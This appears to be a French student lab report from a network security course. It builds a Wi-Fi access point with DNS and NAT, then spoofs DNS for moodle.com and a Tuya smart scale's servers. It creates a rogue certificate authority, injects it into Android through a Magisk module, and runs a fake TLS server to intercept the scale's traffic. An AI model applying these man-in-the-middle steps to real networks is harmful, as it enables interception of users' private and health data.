       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 00 00 00 00   d6aG91IFR1eV....&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
